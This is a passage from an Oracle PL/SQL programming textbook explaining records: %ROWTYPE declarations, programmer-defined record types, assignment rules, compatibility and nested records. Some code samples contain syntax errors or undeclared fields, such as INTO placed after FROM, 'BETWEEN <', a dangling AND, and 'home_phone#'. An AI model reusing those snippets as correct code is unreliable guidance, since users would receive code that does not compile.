When you abstract something, you generalize it. You distance yourself from the nitty-gritty details and concentrate on the big picture. When you create modules, you abstract the individual actions of the module into a name. The name (and program specification) represents those actions.

When you create a record, you abstract all the different attributes or fields of the subject of that record. You establish a relationship between all those different attributes and you give that relationship a name by defining a record.

9.1.3.2 Aggregate operations

Once you have stored information in records, you can perform operations on whole blocks of data at a time, rather than on each individual attribute. This kind of aggregate operation reinforces the abstraction of the record. Very often you are not really interested in making changes to individual components of a record, but instead to the object which represents all of those different components.

Suppose that in my job I need to work with companies, but I don't really care about whether a company has two lines of address information or three. I want to work at the level of the company itself, making changes to, deleting, or analyzing the status of a company. In all these cases I am talking about a whole row in the database, not any specific column. The company record hides all that information from me, yet makes it accessible when and if I need it. This orientation brings you closer to viewing your data as a collection of objects with rules applied to those objects.

9.1.3.3 Leaner, cleaner code

Using records also helps you to write clearer code and less of it. When I use records, I invariably produce programs which have fewer lines of code, are less vulnerable to change, and need fewer comments. Records also cut down on variable sprawl; instead of declaring many individual variables, I declare a single record. This lack of clutter creates aesthetically attractive code which requires fewer resources to maintain.

9.1.4 Guidelines for Using Records

Use of PL/SQL records can have a dramatic impact on your programs, both in initial development and in ongoing maintenance. To ensure that I personally get the most out of record structures, I have set the following guidelines for my development:

  • Create corresponding cursors and records. Whenever I create a cursor in my programs, I also create a corresponding record (except in the case of cursor FOR loops). I always FETCH into a record, rather than into individual variables. In those few instances when it might involve a little extra work over simply fetching into a single variable, I marvel at the elegance of this approach and compliment myself on my commitment to principle.

  • Create table-based records. Whenever I need to store table-based data within my programs, I create a new (or use a predefined) table-based record to store that data. I keep my variable use to a minimum and dynamically link my program data structures to my RDBMS data structures with the %ROWTYPE attribute.

  • Pass records as parameters. Whenever appropriate, I pass records rather than individual variables as parameters in my procedural interfaces. This way, my procedure calls are less likely to change over time, making my code more stable. There is a downside to this technique, however: if a record is passed as an OUT or IN OUT parameter, its field values are saved by the PL/SQL program in case of the need for a rollback. This can use up memory and consume unnecessary CPU cycles.

9.1.5 Referencing a Record and its Fields

The rules you must follow for referencing a record in its entirety or a particular field in the record are the same for all types of records: table, cursor, and programmer-defined.

A record's structure is similar to that of a database table. Where a table has columns, a record has fields. You reference a table's column by its name in a SQL statement, as in:

SELECT company_id FROM company;

Of course, the fully qualified name of a column is:

<table_name>.<column_name>

This full name is often required in a SQL statement to avoid ambiguity, as is true in the following statement:

SELECT employee.company_id, COUNT(*) total_employees
  FROM company, employee
 WHERE company.company_id = employee.company_id;

If I do not preface the name of company_id with the appropriate table name, the SQL compiler will not know to which table that column belongs. The same is true for a record's fields. You reference a record by its name, and you reference a record's field by its full name using dot notation, as in:

<record_name>.<field_name>

So if I create a record named company_rec, which contains a company_id field, then I would reference this field as follows:

company_rec.company_id

You must always use the fully qualified name of a field when referencing that field. If you don't, PL/SQL will never be able to determine the "default" record for a field, as it does in a SQL statement.

You do not, on the other hand, need to use dot notation when you reference the record as a whole; you simply provide the name of the record. In the following example, I pass a record as a parameter to a procedure:

DECLARE
   TYPE customer_sales_rectype IS RECORD (...);
   customer_rec customer_sales_rectype;
BEGIN
   display_sales_data (customer_rec);
END;

I didn't make a single dotted reference to any particular field in the customer record. Instead I declared the record type, used it to create the record, used the record type again to define the type for the parameter in the procedure specification, and finally called the procedure, passing it the specific record I declared.

9.1.6 Comparing Two Records

While it is possible to stay at the record level in certain situations, you can't avoid direct references to fields in many other cases. If you want to compare records, for example, you must always do so through comparison of the records' individual fields.

Suppose you want to know if the old company information is the same as the new company information, both being stored in records of the same structure. The following test for equality will not compile:

IF old_company_rec = new_company_rec /-- Illegal syntax!
THEN
   ...
END IF;

even though the structures of the two records are absolutely identical and based on the same record type (in this case, a table record type).

PL/SQL will not automatically compare each individual field in the old company record to the corresponding field in the new company record. Instead, you will have to perform that detailed check yourself, as in:

IF old_company_rec.name = new_company_rec.name AND
   old_company_rec.incorp_date = new_company_rec.incorp_date AND
   old_company_rec.address1 = new_company_rec.address1 AND
THEN
   ... the two records are identical ...
END IF;

Of course, you do not simply examine the value of a particular field when you work with records and their fields. Instead, you will assign values to the record and its fields, from either scalar variables or other records. You can reference a record's field on both sides of the assignment operator. In the following example I change the contents of a record, even though that record was just filled from a cursor:

DECLARE
   CURSOR company_cur IS ...;
   company_rec company_cur%ROWTYPE;
BEGIN
   OPEN company_cur;
   FETCH company_cur INTO company_rec;
   company_rec.name := 'New Name';
END;

There is, in other words, no such thing as a "read-only" PL/SQL record structure.

Previous: 8.10 RAISE Nothing but Exceptions | Oracle PL/SQL Programming, 2nd Edition | Next: 9.2 Table-Based Records
8.10 RAISE Nothing but Exceptions | Book Index | 9.2 Table-Based Records
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.2 Table-Based Records

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

9.2 Table-Based Records

A table-based record, or table record, is a record whose structure (set of columns) is drawn from the structure (list of columns) of a table. Each field in the record corresponds to and has the same name as a column in the table. The fact that a table record always reflects the current structure of a table makes it useful when managing information stored in that table.

Suppose we have a table defined as the following:

CREATE TABLE rain_forest_history
   (country_code      NUMBER (5),
    analysis_date     DATE,
    size_in_acres     NUMBER,
    species_lost      NUMBER
   );

Like this table, a record created from it would also have four fields of the same names. You must use dot notation to reference a specific field in a record. If the record for the above table were named rain_forest_rec, then the fields would each be referred to as:

rain_forest_rec.country_code
rain_forest_rec.analysis_date
rain_forest_rec.size_in_acres
rain_forest_rec.species_lost

9.2.1 Declaring Records with the %ROWTYPE Attribute

To create a table record, you declare it with the %ROWTYPE attribute. The %ROWTYPE attribute is very similar to the %TYPE attribute discussed in Chapter 4, Variables and Program Data, except that it is used to declare a composite structure rather than the simple, scalar variable produced with %TYPE. Sounds perfect for a record, doesn't it?

The general format of the %ROWTYPE declaration for a table record is:

<record_name> <table_name>%ROWTYPE;

where <record_name> is the name of the record, and <table_name> is the name of a table or view whose structure forms the basis for the record. Just as the %TYPE attribute automatically provides the column's datatype to the variable, %ROWTYPE provides the datatypes of each of the columns in a table for the record's fields.

In the following example, a %TYPE declaration defines a variable for the company name, while the %ROWTYPE declaration defines a record for the entire company row. A SELECT statement then fills the comp_rec record with a row from the table.

DECLARE
   comp_name company.name%TYPE;
   comp_rec  company%ROWTYPE;
BEGIN
   SELECT * FROM company INTO comp_rec
    WHERE company_id = 1004;

Notice that I do not need to specify the names of company's columns in either the record declaration or the SELECT statement. I can keep the code very flexible with the table record. If the DBA adds a column to the table, changes the name of a column, or even removes a column, the preceding lines of code will not be affected at all. (You would, however, need to recompile your programs in order to pick up the change in data structure.)

Of course, if my program makes an explicit reference to a modified column, that code would probably have to be changed. With a strong reliance on data manipulation through records, however, you can keep such references to a minimum.

Previous: 9.1 Record Basics | Oracle PL/SQL Programming, 2nd Edition | Next: 9.3 Cursor-Based Records
9.1 Record Basics | Book Index | 9.3 Cursor-Based Records
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.3 Cursor-Based Records

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

9.3 Cursor-Based Records

A cursor-based record, or cursor record, is a record whose structure is drawn from the SELECT list of a cursor. (See Chapter 6, Database Interaction and Cursors, for more information on cursors.) Each field in the record corresponds to and has the same name as the column or aliased expression in the cursor's query. This relationship is illustrated by Figure 9.1.

The same %ROWTYPE attribute used to declare table records is also used to declare a record for an explicitly declared cursor, as the following example illustrates:

DECLARE
   /* Define the cursor */
   CURSOR comp_summary_cur IS
      SELECT C.company_id, name, city
        FROM company C, sales S
       WHERE c.company_id = s.company_id;

   /* Create a record based on that cursor */
   comp_summary_rec comp_summary_cur%ROWTYPE;
BEGIN

The general format of the cursor %ROWTYPE declaration is:

<record_name> <cursor_name>%ROWTYPE;

where <record_name> is the name of the record and <cursor_name> is the name of the cursor upon which the record is based. This cursor must have been previously defined, in the same declaration section as the record, in an enclosing block, or in a package.

9.3.1 Choosing Columns for a Cursor Record

You could declare a cursor record with the same syntax as a table record, but you don't have to match a table's structure. A SELECT statement creates a "virtual table" with columns and expressions as the list of columns. A record based on that SELECT statement allows you to represent a row from this virtual table in exactly the same fashion as a true table record. The big difference is that I get to determine the fields in the record, as well as the names for those fields. Through the cursor you can, therefore, create special-purpose records tailored to a particular program and need.

The query for a cursor can contain all or only some of the columns from one or more tables. A cursor can also contain expressions or virtual columns in its select list. In addition, you can provide aliases for the columns and expressions in the select list of a cursor. These aliases effectively rename the fields in the cursor record.

In the following example I create a cursor against the rain forest history table for all records showing a greater than average loss of species in 1994. Then, for each record found, I execute the publicize_loss procedure to call attention to the problem and execute project_further_damage to come up with an analysis of future losses:

DECLARE
   /*
   || Create a cursor and rename the columns to give them a more
   || specific meaning for this particular cursor and block of code.
   */
   CURSOR high_losses_cur IS
      SELECT country_code  dying_country_cd,
             size_in_acres shrinking_plot,
             species_lost  above_avg_loss
        FROM rain_forest_history
       WHERE species_lost >
               (SELECT AVG (species_lost)
                  FROM rain_forest_history
                 WHERE TO_CHAR (analysis_date, 'YYYY') = '1994');

   /* Define the record for this cursor */
   high_losses_rec high_losses_cur%ROWTYPE;
BEGIN
   OPEN high_losses_cur;
   LOOP
      FETCH high_losses_cur INTO high_losses_rec;
      EXIT WHEN high_losses_cur%NOTFOUND;
      /*
      || Now when I reference one of the record's fields, I use the
      || name I gave that field in the cursor, not the original column
      || name from the table.
      */
      publicize_loss (high_losses_rec.dying_country_cd);
      project_further_damage (high_losses_rec.shrinking_plot);
   END LOOP;
   CLOSE high_losses_cur;
END;

9.3.2 Setting the Record's Column Names

The column aliases change the names of the fields in the record. In the above example, the customized column names are more descriptive of the matter at hand than the standard column names; the code becomes more readable as a result.

A cursor's query can also include calculated values or expressions; in those cases, you must provide an alias for that calculated value if you want to access it through a record. Otherwise, there is no way for PL/SQL to create a named field for that value in the record -- and that name is your handle to the data. Suppose, for example, I have a parameterized cursor and record defined as follows:

CURSOR comp_performance_cur (id_in IN NUMBER) IS
   SELECT name, SUM (order_amount)
     FROM company
    WHERE company_id = id_in;
comp_performance_rec comp_performance_cur%ROWTYPE;

I can refer to the company name with standard dot notation:

IF comp_performance_rec.name = 'ACME' THEN ...

But how can I refer to the sum of the order_amount values? I need to provide a name for this calculated column, as shown below:

CURSOR comp_performance_cur (id_in IN NUMBER)
IS
   SELECT name, SUM (order_amount) tot_sales
     FROM company
    WHERE company_id = id_in;
comp_performance_rec comp_performance_cur%ROWTYPE;

I can now refer to the sum of the order_amount values as follows:

IF comp_performance_rec.tot_sales > 10000 THEN ...

NOTE: Even though the same %ROWTYPE attribute is used in creating both table and cursor records and the declarations themselves look very similar, the record created from a table has a different record type from the record created from a cursor. Records of different types are restricted in how they can interact, a topic we will explore in the next section.

Previous: 9.2 Table-Based Records | Oracle PL/SQL Programming, 2nd Edition | Next: 9.4 Programmer-Defined Records
9.2 Table-Based Records | Book Index | 9.4 Programmer-Defined Records
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.4 Programmer-Defined Records

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

9.4 Programmer-Defined Records

Now you know how to create a record with the same structure as a table or a cursor. These are certainly very useful constructs in a programming language designed to interface with the Oracle RDBMS. Yet do these kinds of records cover all of our needs for composite data structures?

What if I want to create a record that has nothing to do with either a table or a cursor? What if I want to create a record whose structure is derived from several different tables and views? Should I really have to create a "dummy" cursor just so I can end up with a record of the desired structure? For just these kinds of situations, PL/SQL offers programmer-defined records, declared with the TYPE...RECORD statement.[1]

[1] Programmer-defined records are supported -- but undocumented -- in PL/SQL Release 1.1.

With the programmer-defined record, you have complete control over the number, names, and datatypes of fields in the record.

To declare a programmer-defined record, you must perform two distinct steps:

  1. Declare or define a record TYPE containing the structure you want in your record.

  2. Use this record TYPE as the basis for declarations of your own actual records having that structure.

9.4.1 Declaring Programmer-Defined Record TYPEs

You declare a record type with the record TYPE statement. The TYPE statement specifies the name of the new record structure, and the components or fields which make up that record.

The general syntax of the record TYPE definition is:

TYPE <type_name> IS RECORD
   (<field_name1> <datatype1>,
    <field_name2> <datatype2>,
    ...
    <field_nameN> <datatypeN>
   );

where <field_nameN> is the name of the Nth field in the record and <datatypeN> is the datatype of that Nth field. The datatype of a record's field can be any of the following:

  • Pre-defined datatype (VARCHAR2, NUMBER, etc.)

  • Programmer-defined subtype (PL/SQL Release 2.1 and above)

  • Declarations using %TYPE attributes

  • Declarations using %ROWTYPE attributes

  • PL/SQL record type

  • PL/SQL table type

You cannot, on the other hand, declare a field to be an exception or a cursor. (With PL/SQL Release 2.3, you can declare a field to be a cursor variable.)

Here is an example of a record TYPE statement:

TYPE company_rectype IS RECORD
   (comp# company.company_id%TYPE,
    name  company.name%TYPE);

9.4.2 Declaring the Record

Once you have created your own customized record types, you can use those types in declarations of specific records. The actual record declarations have the following format:

<record_name> <record_type>;

where <record_name> is the name of the record and <record_type> is the name of a record type you have defined with the TYPE...RECORD statement.

To build a customer sales record, for example, I would first establish a RECORD type called customer_sales_type, as follows:

TYPE customer_sales_rectype IS RECORD
   (customer_id   NUMBER (5),
    customer_name customer.name%TYPE,
    total_sales   NUMBER (15,2)
   );

This is a three-field record structure which contains the primary key and name information for a customer, as well as a calculated, total amount of sales for the customer. I can then use this new record type to declare records with the same structure as this type:

prev_customer_sales_rec customer_sales_rectype;
top_customer_rec customer_sales_rectype;

Notice that I do not need the %ROWTYPE attribute, or any other kind of keyword, to denote this as a record declaration. The %ROWTYPE attribute is only needed for table and cursor records.

The customer_sales_rectype identifier is itself a record type, so PL/SQL does not need the attribute to properly declare the record. You simply must make sure that the record type is defined before you try to use it. You can declare it in the same declaration section as the records themselves, in a block which encloses the current block of code, or in a package specification that makes that record type globally accessible.

In addition to specifying the datatype, you can supply default values for individual fields in a record with the DEFAULT or := syntax. You can also apply constraints to the declaration of a record's fields. You can specify that a field in a record be NOT NULL (in which case you must also assign a default value). Finally, each field name within a record must be unique.

9.4.3 Examples of Programmer-Defined Record Declarations

Suppose that I declare the following subtype (an alias for VARCHAR2), a cursor, and a PL/SQL table data structure:

SUBTYPE long_line_type IS VARCHAR2;

CURSOR company_sales_cur IS
   SELECT name, SUM (order_amount) total_sales
     FROM company c, order o
    WHERE c.company_id = o.company_id;

TYPE employee_ids_tabletype IS
   TABLE OF employee.employee_id
   INDEX BY BINARY_INTEGER;

I can then declare the following programmer-defined records:

  • A programmer-defined record which is a subset of the company table, plus a PL/SQL table of employees. I use the %TYPE attribute to link the fields in the record directly to the table. I then add a third field which is actually a PL/SQL table of employee ID numbers. (PL/SQL tables are described in Chapter 10, PL/SQL Tables.)

    TYPE company_rectype IS RECORD
   (company_id    company.company_id%TYPE,
    company_name  company.name%TYPE,
    new_hires_tab employee_ids_tabletype);

  • A mish-mash of a record which demonstrates the different kinds of field declarations in a record, including: the NOT NULL constraint, use of a subtype, the %TYPE attribute, default value specification, a PL/SQL table, and a nested record. These varieties are shown below.

    TYPE mishmash_rectype IS RECORD
   (emp_number NUMBER(10) NOT NULL,
    paragraph_text long_line_type,
    company_nm company.name%TYPE,
    total_sales company_sales_cur.total_sales%TYPE := 0,
    new_hires_tab employee_ids_tabletype,
    prefers_nonsmoking_fl BOOLEAN := FALSE,
    new_company_rec company_rectype
   );

BEGIN

As you can readily see, PL/SQL offers you tremendous flexibility in designing your own record structures. They can represent your tables, views, and SELECT statements in a PL/SQL program. They can also, however, be arbitrarily complex, with fields that are actually records within records, and with fields that are PL/SQL tables.

Previous: 9.3 Cursor-Based Records | Oracle PL/SQL Programming, 2nd Edition | Next: 9.5 Assigning Values to and from Records
9.3 Cursor-Based Records | Book Index | 9.5 Assigning Values to and from Records
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.5 Assigning Values to and from Records

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

9.5 Assigning Values to and from Records

You can modify the values in a record in the following ways:

  • Direct field assignment with the assignment operator

  • SELECT INTO from an implicit cursor

  • FETCH INTO from an explicit cursor

  • Aggregate assignment

These assignment methods are described in the sections that follow.

9.5.1 Direct Field Assignment

The assignment operator (:=) changes the value of a particular field. In the first assignment, total_sales is zeroed out. In the second assignment, a function is called to return a value for the Boolean flag output_generated (it is set to either TRUE or FALSE):

top_customer_rec.total_sales := 0;

report_rec.output_generated :=
   check_report_status (report_rec.report_id);

In the next example I create a record based on the rain_forest_history table, populate it with values, and then insert a record into that same table:

DECLARE
   rain_forest_rec rain_forest_history%ROWTYPE;
BEGIN
   /* Set values for the record */
   rain_forest_rec.country_code  := 1005;
   rain_forest_rec.analysis_date := SYSDATE;
   rain_forest_rec.size_in_acres := 32;
   rain_forest_rec.species_lost  := 425;

   /* Insert a row in the table using the record values */
   INSERT INTO rain_forest_history VALUES
      (rain_forest_rec.country_code,
       rain_forest_rec.analysis_date,
       rain_forest_rec.size_in_acres,
       rain_forest_rec.species_lost);
   ...
END;

9.5.2 SELECT INTO from an Implicit Cursor

Use the implicit cursor SELECT INTO to fill the values in a record. You can SELECT INTO either the record as a whole or the individual fields in the record:

DECLARE
   TYPE customer_sales_rectype IS RECORD
      (customer_id   NUMBER (5),
       customer_name customer.name%TYPE,
       total_sales   NUMBER (15,2)
       );
   top_customer_rec  customer_sales_rectype;
BEGIN
   /* Move values directly into the record: */
   SELECT customer_id, name, SUM (sales)
     INTO top_customer_rec
     FROM customer
    WHERE sold_on BETWEEN < ADD_MONTHS (SYSDATE, -3);

   /* or list the individual fields: */
   SELECT customer_id, name, SUM (sales)
     INTO top_customer_rec.customer_id, top_customer_rec.customer_name,
          top_customer_rec.total_sales
     FROM customer
    WHERE sold_on BETWEEN < ADD_MONTHS (SYSDATE, -3);

If you SELECT INTO a record, you must be sure that the structure of the select list (columns or expressions) matches that of the record.

The INTO clause of an implicit query is the only part of a SQL DML statement in which a PL/SQL record (as an aggregate and not its component fields) can be referenced.

9.5.3 FETCH INTO from an Explicit Cursor

Use an explicit cursor to FETCH values INTO a record. You can FETCH INTO the record as a whole or into the individual fields in the record:

DECLARE
   /*
   || Declare a cursor and then define a record based on that cursor
   || with the %ROWTYPE attribute.
   */
   CURSOR cust_sales_cur IS
      SELECT customer_id, name, SUM (sales) tot_sales
        FROM customer
       WHERE sold_on BETWEEN < ADD_MONTHS (SYSDATE, -3);
   cust_sales_rec cust_sales_cur%ROWTYPE;

BEGIN
   /* Move values directly into record by fetching from cursor */

   OPEN cust_sales_cur;
   FETCH cust_sales_cur INTO cust_sales_rec;

   /* or fetch values from the select list into individual fields. */

   OPEN cust_sales_cur;
   FETCH cust_sales_cur
      INTO cust_sales_rec.customer_id,
           cust_sales_rec.customer_name,
           cust_sales_rec.total_sales;

If you FETCH INTO the record without specifying the fields, you must be sure that the structure of the cursor's select list (columns or expressions) matches that of the record.

9.5.4 Aggregate Assignment

In this last and most powerful approach to record assignments, I change all the values of the record once, through an aggregate assignment or assignment of the group. When you SELECT INTO the entire record without listing its individual fields, you perform a type of aggregate assignment. But you can also change the values of every field in a record simultaneously with the assignment operator (:=). In the following example I declare two different rain_forest_history records and then set the current history information to the previous history record:

DECLARE
   prev_rain_forest_rec rain_forest_history%ROWTYPE;
   curr_rain_forest_rec rain_forest_history%ROWTYPE;
BEGIN
   ... initialize previous year rain forest data ...

   -- Transfer data from previous to current records.
   curr_rain_forest_rec := prev_rain_forest_rec;

The result of this aggregate assignment is that the value of each field in the current record is set to the value of the corresponding field record in the previous record. I could also have accomplished this with individual direct assignments from the previous to current records. This would require four separate assignments and lots of typing:

curr_rain_forest_rec.country_code := prev_rain_forest_rec.country_code;
curr_rain_forest_rec.analysis_date := prev_rain_forest_rec.analysis_date;
curr_rain_forest_rec.size_in_acres := prev_rain_forest_rec.size_in_acres;
curr_rain_forest_rec.species_lost := prev_rain_forest_rec.species_lost;

Which of these two types of assignments would you rather code? Which would you rather have to maintain?

I was able to perform this aggregate assignment because both of the records were based on the same rowtype. If the records are not compatible in this way, your assignment will not compile.

The next section on record types and record compatibility explores the restrictions on use of aggregate assignments and other record operations.

Previous: 9.4 Programmer-Defined Records | Oracle PL/SQL Programming, 2nd Edition | Next: 9.6 Record Types and Record Compatibility
9.4 Programmer-Defined Records | Book Index | 9.6 Record Types and Record Compatibility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.6 Record Types and Record Compatibility

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

9.6 Record Types and Record Compatibility

As we have discussed, PL/SQL supports three types of records: table-based, cursor-based, and programmer-defined. A record is defined by its name, its type, and its structure. Two records can have the same structure but be of a different type. PL/SQL places restrictions on certain operations between different record types. This section explains these restrictions based on the records declared below:

  • The table structure against which all the different types of records will be declared:

CREATE TABLE cust_sales_roundup
      (customer_id NUMBER (5),
       customer_name VARCHAR2 (100),
       total_sales NUMBER (15,2)
      );

  • The table-based record:

    cust_sales_roundup_rec cust_sales_roundup%ROWTYPE;

  • The cursor-based record:

    CURSOR cust_sales_cur IS SELECT * FROM cust_sales_roundup;
cust_sales_rec cust_sales_cur%ROWTYPE;

  • The programmer-defined record:

    TYPE customer_sales_rectype IS RECORD
   (customer_id NUMBER (5),
    customer_name customer.name%TYPE,
    total_sales NUMBER (15,2)
   );
top_customer_rec  customer_sales_rectype;

  • A "manual" record: a collection of individual variables which the programmer can treat as a group by always making changes to and referring to all variables together:

    v_customer_id NUMBER (5);
v_customer_name customer_name%TYPE;
v_total_sales NUMBER (15,2);

All three PL/SQL records defined above (cust_sales_roundup_rec, cust_sales_rec, and top_customer_rec) and the "manual" record have exactly the same structure. Each, however, is of a different type. Records of different types are incompatible with each other at the record level. As a result, you can't perform certain kinds of operations between them.

9.6.1 Assignment Restrictions

Using the previously defined records, the following sections describe the various restrictions you will encounter due to incompatible record types.

9.6.1.1 Manual records

You cannot assign a manual record to a real record of any type, and vice versa. If you want to assign individual variables to a record, or assign values in fields to individual variables, you must execute a separate assignment for each field in the record:

top_customer_rec.customer_id := v_customer_id;
top_customer_rec.customer_name := v_customer_name;
top_customer_rec.total_sales := v_total_sales;

9.6.1.2 Records of the same type

You can perform aggregate assignments only between records of the same type and same source. All of the aggregate assignments you saw in previous examples were valid because both the source and target records in the assignment were based on the same table, cursor, or TYPE statement.

The two assignments below are invalid and will fail because the record types do not match:

cust_sales_roundup_rec := top_customer_rec; /* Incompatible! */
cust_sales_rec := cust_sales_roundup_rec ; /* Incompatible! */

Even when both records in an aggregate assignment are the same type and same structure, the assignment can fail. Your assignment must, in addition, conform to these rules:

  • Both cursor-based records in an aggregate assignment must be based on the same cursor.

  • Both table-based records in an aggregate assignment must be based on the same table.

  • Both programmer-defined records in an aggregate assignment must be based on the same TYPE...RECORD statement.

9.6.1.3 Setting records to NULL

In earlier versions of Oracle (7.2 and below), the following assignmentwould cause an erroor:

comp_sales_rec := NULL;

NULL was treated as a scalar value, and would not be applied to each of the record's fields.

In Oracle 7.3 and above, the assignment of NULL to a record is allowed, and will set each of the fields back to the default value of NULL.

9.6.2 Record Initialization

When you declare a scalar variable (a variable with a scalar or noncomposite datatype), you can provide a default or initial value for that variable. In the following example, I declare the total_sales variable and initialize it to zero using both the DEFAULT syntax and the assignment operator:

total_sales NUMBER (15,2) := 0;

As you might expect based on the aggregate assignment discussed above, you can initialize a table or cursor record at the time of declaration only with another record of the same type and source.

If you want to initialize a record at the time of its declaration, you must use a compatible record to the right of the assignment operator (:=) or DEFAULT phrase. The following two examples show such initializations:

  • Declare a local record with the same type and structure as the parameter and then set the default value of that local record to the incoming record:

    PROCEDURE compare_companies
   (prev_company_rec IN company%ROWTYPE)
IS
   curr_company_rec company%ROWTYPE := prev_company_rec;
BEGIN
   ...
END;

  • Create a new record type and record. Then create a second record type using the first record type as its single column. Initialize this new record with the previously-defined record:

    DECLARE
   TYPE first_rectype IS RECORD (var1 VARCHAR2(100));
   first_rec first_rectype;

   TYPE second_rectype IS RECORD
      (nested_rec first_rectype := first_rec);
BEGIN
   ...
END;

Previous: 9.5 Assigning Values to and from Records | Oracle PL/SQL Programming, 2nd Edition | Next: 9.7 Nested Records
9.5 Assigning Values to and from Records | Book Index | 9.7 Nested Records
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.7 Nested Records

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

9.7 Nested Records

As you may have noticed in earlier examples, you can include a record as a field within another record. This is called a nested record. The record that contains the nested record as a field is called the enclosing record.

You may wonder when and why you might ever use such an elaborate and seemingly convoluted structure. After considering the following example, however, you will realize that the data in your applications is full of structures which are best represented as nested records. In many ways, nested records serve to represent normalized data structures within fixed PL/SQL memory storage.

9.7.1 Example of Nested Records

In the following example I declare a record type for all the elements of a phone number (phone_rectype), and then declare a record type which collects all the phone numbers for a person together in a single structure (contact_set_rectype).

DECLARE
   TYPE phone_rectype IS RECORD
      (intl_prefix   VARCHAR2(2),
       area_code     VARCHAR2(3),
       exchange      VARCHAR2(3),
       phn_number    VARCHAR2(4),
       extension     VARCHAR2(4)
      );
   TYPE contact_set_rectype IS RECORD
      (day_phone#    phone_rectype, /* Nested record */
       eve_phone#    phone_rectype, /* Nested record */
       fax_phone#    phone_rectype, /* Nested record */
       cell_phone#   phone_rectype  /* Nested record */
      );
   auth_rep_info_rec contact_set_rectype;
BEGIN

Without nested records, my contact_set_rectype would look like this:

DECLARE
   TYPE phone_rectype IS RECORD
      (day_intl_prefix VARCHAR2(2), day_area_code VARCHAR2(3),
       day_exchange VARCHAR2(3), day_phn_number VARCHAR2(4),
       day_extension VARCHAR2(4),

       eve_intl_prefix VARCHAR2(2), eve_area_code VARCHAR2(3),
       eve_exchange VARCHAR2(3), eve_phn_number VARCHAR2(4),
       eve_extension VARCHAR2(4),

       fax_intl_prefix VARCHAR2(2), fax_area_code VARCHAR2(3),
       fax_exchange VARCHAR2(3), fax_phn_number VARCHAR2(4),
       fax_extension VARCHAR2(4),

       cell_intl_prefix VARCHAR2(2), cell_area_code VARCHAR2(3),
       cell_exchange VARCHAR2(3), cell_phn_number VARCHAR2(4),
       cell_extension VARCHAR2(4)
      );
   auth_rep_info_rec contact_set_rectype;
BEGIN

The structure of this unnested record is very cumbersome for two reasons: it is difficult to read and it is hard to maintain.

  • Unnested records are difficult to read. Even though I used prefixes for each of the phone numbers so that I know which parts belong to which number, it still takes a conscious and belabored effort to sort through the fields and make the connections. There are just too many fields and too much repetition for the mind to focus and take it all in. With the nested record, I shift the complexity of each individual phone number down a level into its own record type. This way the contact_set_rectype is self-explanatory: it's made up of four different phone numbers.

  • Unnested records are hard to maintain. Today, my phone number might have only five components. Why not just lay them all out there in the record? Because down the road my manager tells me that a phone number needs to also store a PIN (Personal Identification Number) for calling cards. As a result, I have denormalized my data structure within the unnested record (with all the same downside denormalization has in the RDBMS). I now need to add four different fields to this record, all with the same datatypes and the right naming conventions. The more coding I do, the greater the chance that I will introduce errors into that code.

    With nested records, on the other hand, I could simply add a single field to the phone_rectype record type. I do not have to change the contact_set_rectype record. The contact_set_rectype automatically has that extra field available to it in each of its nested records. The resulting nested record structure allows me to easily keep all phone numbers in one place and access them instantly.

9.7.2 Dot Notation with Nested Records

Although I still use the dot notation to refer to a field with nested records, now I might have to refer to a field which is nested several layers deep inside the structure. To do this I must include an extra dot for each nested record structure. Suppose that I have a record with two levels of nested records:

DECLARE
   TYPE level3_rectype IS RECORD (textline VARCHAR2(2000));
   TYPE level2_rectype IS RECORD (paragraph level3_rectype);
   TYPE level1_rectype IS RECORD (story level2_rectype);
   level1_rec level1_rectype;

Then the fully qualified name for the textline variable is:

level1_rec.story.paragraph.textline

Assignments with nested records follow the same rules as those for "flat" records. The following statement, for example, sets the fax phone number's area code to the home phone number's area code:

auth_rep_info_rec.fax_phone#.area_code :=
   auth_rep_info_rec.home_phone#.area_code;

9.7.3 Aggregate Assignments of Nested Records

I can also perform an aggregate assignment of one nested record to another. To set the fax number equal to the home phone number, I simply execute the following:

auth_rep_info_rec.fax_phone# := auth_rep_info_rec.home_phone#;

